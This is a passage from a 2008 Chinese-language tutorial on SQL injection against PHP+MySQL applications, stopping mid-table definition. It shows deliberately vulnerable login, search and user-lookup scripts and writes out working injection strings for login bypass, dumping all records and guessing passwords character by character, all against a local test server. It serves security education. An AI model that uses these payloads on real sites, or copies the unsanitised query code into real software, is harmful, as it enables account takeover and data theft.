SQL Injection with MySQL(1)

日期:2008-06-26  作者:喜騰小二  來源:PHPChina


宣告

  本文僅用於教學目的,如果因為本文造成的攻擊後果本人概不負責,本文所有程式碼均為本人所寫,所有資料均經過測試。絕對真實。如果有什麼遺漏或錯誤,歡迎來安全天使論壇(http://www.4ngel.net/forums)和我交流。

前言

  2003年開始,喜歡指令檔攻擊的人越來越多,而且研究ASP下注入的朋友也逐漸多了起來,我看過最早的關於SQL注入的文章是一篇99年國外的高手寫的,而現在國外的已經爐火純青了,國內才開始注意這個技術,由此看來,國內的這方麵的技術相對於國外還是有一段很大差距,話說回來,大家對SQL注入攻擊也相當熟悉了,國內各大站點都有些堪稱經典的作品,不過作為一篇完整的文章,我覺得還是有必要再說說其定義和原理。如果哪位高手已經達到爐火純青的地步,不妨給本文挑點刺。權當指點小弟。

關於php+Mysql的注入

  國內能看到php+Mysql注入的文章可能比較少,但是如果關注各種WEB程式的漏洞,就可以發現,其實這些漏洞的文章其實就是一個例子。不過由於國內研究PHP的人比研究ASP的人實在少太多,所以,可能沒有注意,況且PHP的安全性比ASP高很多,導緻很多人不想跨越這個門檻。
  儘管如此,在PHP站點日益增多的今天,SQL注入仍是最有效最麻煩的一種攻擊方式,有效是因為至少70% 以上的站點存在SQL Injection漏洞,包括國內大部分安全站點,麻煩是因為MYSQL4以下的版本是不支援子陳述式的,而且當php.ini裡的 magic_quotes_gpc 為On 時。提交的變數中所有的 ‘ (單引號), ” (雙引號), (反斜線) and 空字元會自動轉為含有反斜線的轉義字元。給注入帶來不少的阻礙。
  早期的時候,根據程式的程式碼,要構造出沒有引號的陳述式形成有效的攻擊,還真的有點困難,好在現在的技術已經構造出不帶引號的陳述式應用在某些場合。只要有經驗,其實構造有效的陳述式一點也不難,甚至成功率也很高,但俱體情況俱體分析。首先要走出一個誤區。

注:在沒有俱體幫助的情況下,我們假設magic_quotes_gpc均為off。

php+Mysql注入的誤區

  很多人認為在PHP+MYSQL下注入一定要用到單引號,或者是沒有辦法像MSSQL那樣可以使用“declare @a sysname select @a= exec master.dbo.xp_cmdshell @a”這類的指令來消除引號,其實這個是大家對注入的一種誤解或這說是對注入認識上的一種誤區。
  為什麼呢?因為不管在什麼語言裡,在引號(包括單雙)裡,所有字串均是常量,即使是dir這樣的指令,也緊緊是字串而已,並不能當做指令執行,除非是這樣寫的程式碼:

$command = "dir c:";
system(
$command);
?>

  否則僅僅隻是字串,當然,我們所說的指令不單指係統指令,我們這裡說的是SQL陳述式,要讓我們構造的SQL陳述式正常執行,就不能讓我們的陳述式變成字串,那麼什麼情況下會用單引號?什麼時候不用呢?看看下麵兩句SQL陳述式:


SELECT * FROMarticleWHEREarticleid='$id'
SELECT * FROMarticleWHEREarticleid=$id

  兩種寫法在各種程式中都很普遍,但安全性是不同的,第一句由於把變數$id放在一對單引號中,這樣使得我們所提交的變數都變成了字串,即使包含了正確的SQL陳述式,也不會正常執行,而第二句不同,由於沒有把變數放進單引號中,那我們所提交的一切,只要包含空格,那空格後的變數都會作為SQL陳述式執行,我們針對兩個句子分別提交兩個成功注入的畸形陳述式,來看看不同之處。

① 指定變數$id為:

1' and 1=2 union select * from user where userid=1/*
?>

此時整個SQL陳述式變為:

SELECT * FROMarticleWHEREarticleid='1'and1=2unionselect * fromuserwhereuserid=1/*'
?>

②指定變數$id為:

1and1=2unionselect * fromuserwhereuserid=1

此時整個SQL陳述式變為:

SELECT * FROMarticleWHEREarticleid=1and1=2unionselect * fromuserwhereuserid=1

  看出來了嗎?由於第一句有單引號,我們必須先閉合前麵的單引號,這樣才能使後麵的陳述式作為SQL執行,並要注釋掉後麵原SQL陳述式中的後麵的單引號,這樣才可以成功注入,如果php.ini中magic_quotes_gpc設定為on或者變數前使用了addslashes()函式,我們的攻擊就會化為烏有,但第二句沒有用引號包含變數,那我們也不用考慮去閉合、注釋,直接提交就OK了。
  大家看到一些文章給出的陳述式中沒有包含單引號例如pinkeyes的《php注入實例》中給出的那句SQL陳述式,是沒有包含引號的,大家不要認為真的可以不用引號注入,仔細看看PHPBB的程式碼,就可以發現,那個$forum_id所在的SQL陳述式是這樣寫的:

$sql = "SELECT *
FROM
" . FORUMS_TABLE . "
WHERE forum_id =
$forum_id";

  由於沒有用單引號包含變數,才給pinkeyes這個家夥有機可乘,所以大家在寫PHP程式的時候,記得用單引號把變數包含起來。當然,必要的安全措施是必不可少的。

簡單的例子

  先舉一個例子來給大家瞭解一下PHP下的注入的特殊性和原理。當然,這個例子也可以告訴大家如何學習構造有效的SQL陳述式。
  我們拿一個使用者驗證的例子,首先建立一個資料庫和一個資料表並插入一條記錄,如下:

CREATETABLE`user`(
`userid`int(11)NOTNULLauto_increment,
`username`varchar(20)NOTNULLdefault'',
`password`varchar(20)NOTNULLdefault'',
PRIMARYKEY(`userid`)
)TYPE=MyISAMAUTO_INCREMENT=3 ;
 
#
# 匯出表中的資料 `user`
#
 
INSERTINTO`user`VALUES(1, 'angel', 'mypass');

  驗證使用者檔案的程式碼如下:


< ?
php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
 
mysql_connect($servername,$dbusername,$dbpassword)ordie("資料庫連線失敗");
 
$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";
 
$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);
 
if(empty($userinfo))
{
echo"登陸失敗";
}else{
echo"登陸成功";
}
 
echo"

SQL Query:$sql

";
 


?>

  這時我們提交:

http://127.0.0.1/injection/user.php?username=angel’ or 1=1

  就會返回:

Warning: mysql_fetch_array(): suppliedargumentisnotavalidMySQLresultresourceinF:wwwinjectionuser.phponline13
登陸失敗
 
SQLQuery:SELECT * FROMuserWHEREusername='angel'or1=1' AND password=''
 
PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:wwwinjectionuser.php on line 13
?>

  看到了嗎?單引號閉合後,並沒有注釋掉後麵的單引號,導緻單引號沒有正確配對,所以由此可知我們構造的陳述式不能讓Mysql正確執行,要重新構造:

http://127.0.0.1/injection/user.php?username=angel' or '1=1

  這時顯示“登陸成功”,幫助成功了。或者提交:

http://127.0.0.1/injection/user.php?username=angel'/*
http://127.0.0.1/injection/user.php?username=angel'%23

  這樣就把後麵的陳述式給注釋掉了!說說這兩種提交的不同之處,我們提交的第一句是利用邏輯運算,在ASP中運用可以說是非常廣泛的,這個不用說了吧?第二、三句是根據mysql的特性,mysql支援/*和#兩種注釋格式,所以我們提交的時候是把後麵的程式碼注釋掉,值得注意的是由於編碼問題,在 IE網址列裡提交#會變成空的,所以我們在網址列提交的時候,應該提交%23,才會變成#,就成功注釋了,這個比邏輯運算簡單得多了,由此可以看出PHP 比ASP強大靈活多了。
  透過上麵的例子大家應該對PHP+MYSQL的注入有個感性的認識了吧?

陳述式構造

  PHP+MYSQL注入的博大精深不僅僅體現在認證體係的饒過,陳述式的構造才是最有趣味的地方,但構造陳述式和ACCESS、MSSQL都有少許不同,但同樣可以發揮得淋漓盡緻。看下麵的例子。

一、搜尋引擎

  網上有一大堆的PHP程式搜尋引擎是有問題的,也就是提交特殊字元可以顯示所有記錄,包括不符合條件的,其實這個危害也不算大,因為允許使用者輸入關鍵字進行模糊查詢的地方大多數都允許檢索所有的記錄。很多查詢的設計就是這樣的。
  查詢是唯讀的操作應該不會對資料產生破壞作用,不要太擔心。不過洩露隱私不知道算不算危害,下麵是一個標準的搜尋引擎:


<
formmethod="GET"action="search.php"name="search">
<
inputname="keywords"type="text"value=""size="15"/> <inputtype="submit"value="Search"/>
form>
<
p><b>Searchresultb>p>
 
< ?
php
$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";
 
mysql_connect($servername,$dbusername,$dbpassword)ordie("資料庫連線失敗");
 
$keywords = $_GET['keywords'];
if(!empty($keywords)){
  
//$keywords = addslashes($keywords);
  
//$keywords = str_replace("_","\_",$keywords);
  
//$keywords = str_replace("%","\%",$keywords);
 
  
$sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC";
  
$result = mysql_db_query($dbname,$sql);
  
$tatol=mysql_num_rows($result);
 
  
echo"

SQL Query:$sql

";
 
  
if($tatol < =0){
    
echo"The "$keywords" was not found in all the record.

";
  
}else{
    
while($article=mysql_fetch_array($result)){
      
echo"

  • ".htmlspecialchars($article[title])."

    ";
        
    }//while
      
    }
    }else{
      
    echo"Please enter some keywords.

    ";
    }
     


  • ?>

      一般程式都是這樣寫的,如果缺乏變數檢查,我們就可以改寫變數,達到“注入”的目的,儘管沒有危害,當我們輸入“___” 、“.__ ”、“%”等類似的關鍵字時,會把資料庫中的所有記錄都取出來。如果我們在表單提交:


    %
    ' ORDER BY articleid/*
    %
    'ORDERBYarticleid#
    __' ORDER BY articleid/*
    __
    'ORDERBYarticleid#

      SQL陳述式就被改變成下麵的樣子了,

    SELECT * FROMarticleWHEREtitleLIKE'%%'ORDERBYarticleid/*%' ORDER BY title DESC
    SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC
    ?>

      就會列出所有記錄,包括被隱藏的,還可以改變排列順序。這個雖然危害不大,也算是注入的一種方式了吧?

    二、查詢欄位

      查詢欄位又可以分成兩種,本表查詢和跨表查詢,這兩種查詢和ACCESS、MSSQL差不多,甚至更強大、更靈活、更方便。不知道為什麼就是有人認為比ASP難?我們在ASP中經常使用的個別函式在PHP裡要有小小的改動,如下:

    ① 本表查詢

      看下麵一條SQL陳述式,多用在論壇或者會員注冊係統檢視使用者資料的,


    < ?
    php
    $servername = "localhost";
    $dbusername = "root";
    $dbpassword = "";
    $dbname = "injection";
     
    mysql_connect($servername,$dbusername,$dbpassword)ordie("資料庫連線失敗");
     
    $sql = "SELECT * FROM user WHERE username='$username'";
    $result = mysql_db_query($dbname,$sql);
    $row = mysql_fetch_array($result);
     
    if(!$row){
      
    echo"該記錄不存在";
      
    echo"

    SQL Query:$sql

    ";
      
    exit;
    }
     
    echo"妳要查詢的使用者ID是:$row[userid] ";
    echo"

    SQL Query:$sql

    ";


    ?>

      當我們提交的使用者名稱為真時,就會正常返回使用者的ID,如果為非法參數就會提示相應的錯誤,由於是查詢使用者資料,我們可以大膽猜測密碼就存在這個資料表裡(現在我還沒有碰見過密碼是單獨存在另一個表的程式),記得剛才的身份驗證程式嗎?和現在的相比,就少了一個AND條件,如下:

    SELECT * FROMuserWHEREusername='$username'ANDpassword='$password'SELECT * FROMuserWHEREusername='$username'

      相同的就是當條件為真時,就會給出正確的提示資訊,如果我們構造出後麵的AND條件部分,並使這部分為真,那我們的目的也就達到了,還是利用剛才建立的user資料庫,使用者名稱為angel,密碼為mypass,
    看了上麵的例子,應該知道構造了吧,如果我們提交:

    http://127.0.0.1/injection/user.php?username=angel' and password='mypass

      這個是絕對為真的,因為我們這樣提交上麵的SQL陳述式變成了下麵的樣子:

    SELECT * FROMuserWHEREusername='angel'ANDpassword='mypass'

      但在實際的攻擊中,我們是肯定不知道密碼的,假設我們知道資料庫的各個欄位,下麵我們就開始探測密碼了,首先獲取密碼長度:

    http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6

      在ACCESS中,用LEN()函式來獲取字串長度,在MYSQL中,要使用LENGTH(),只要沒有構造錯誤,也就是說SQL陳述式能正常執行,那返回結果無外乎兩種,不是返回使用者ID,就是返回“該記錄不存在”。當使用者名稱為angel並且密碼長度為6的時候返回真,就會返回相關記錄,是不是和ASP裡一樣?再用LEFT()、RIGHT()、MID()函式猜密碼:

    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,2)='my
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,3)='myp
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,4)='mypa
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,5)='mypas
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,6)='mypass

      看,密碼不是出來了嗎?簡單吧?當然實際情況會有不少條件限制,下麵還會講到這個例子的深入應用。

    ② 跨表查詢

      這部分就和ASP有點出入了,除了一定要用UNION連線兩條SQL陳述式,最難掌握的就是欄位的數量,如果看過MYSQL參考手冊,就知道了在 SELECT 中的 select_expression (select_expression 表示妳希望檢索的列[欄位]) 部分列出的列必須俱有同樣的類型。第一個 SELECT 查詢中使用的列名將作為結果集的列名返回。簡單的說,也就是UNION後麵查選的欄位數量、欄位類型都應該與前麵的SELECT一樣,而且,如果前麵的 SELECT為真,就同時返回兩個SELECT的結果,當前麵的SELECT為假,就會返回第二個SELECT所得的結果,某些情況會取代掉在第一個 SELECT原來應該顯示的欄位,如下圖:

      看了這個圖直觀多了吧?所以應該先知道前麵查詢表的資料表的結構。如果我們查詢兩個資料表的欄位相同,類型也相同,我們就可以這樣提交:

    SELECT * FROMarticleWHEREarticleid='$id'UNIONSELECT * FROM……

      如果欄位數量、欄位類型任意一個不相同,就隻能搞清除資料類型和欄位數量,這樣提交:

    SELECT * FROMarticleWHEREarticleid='$id'UNIONSELECT1,1,1,1,1,1,1FROM……

      否則就會報錯:

    TheusedSELECTstatementshaveadifferentnumberofcolumns

      如果不知道資料類型和欄位數量,可以用1來慢慢試,因為1屬於intstrvar類型,所以我們只要慢慢改變數量,一定可以猜到的。如果不能馬上理解上麵的理論,後麵有很詳細的例子。
      我們看看下麵的資料結構,是一個簡單的文章資料表。

    CREATETABLE`article`(
    `articleid`int(11)NOTNULLauto_increment,
    `title`varchar(100)NOTNULLdefault'&

    <<<返回技術中心

    技術文章

    站內新聞

    我要啦免费统计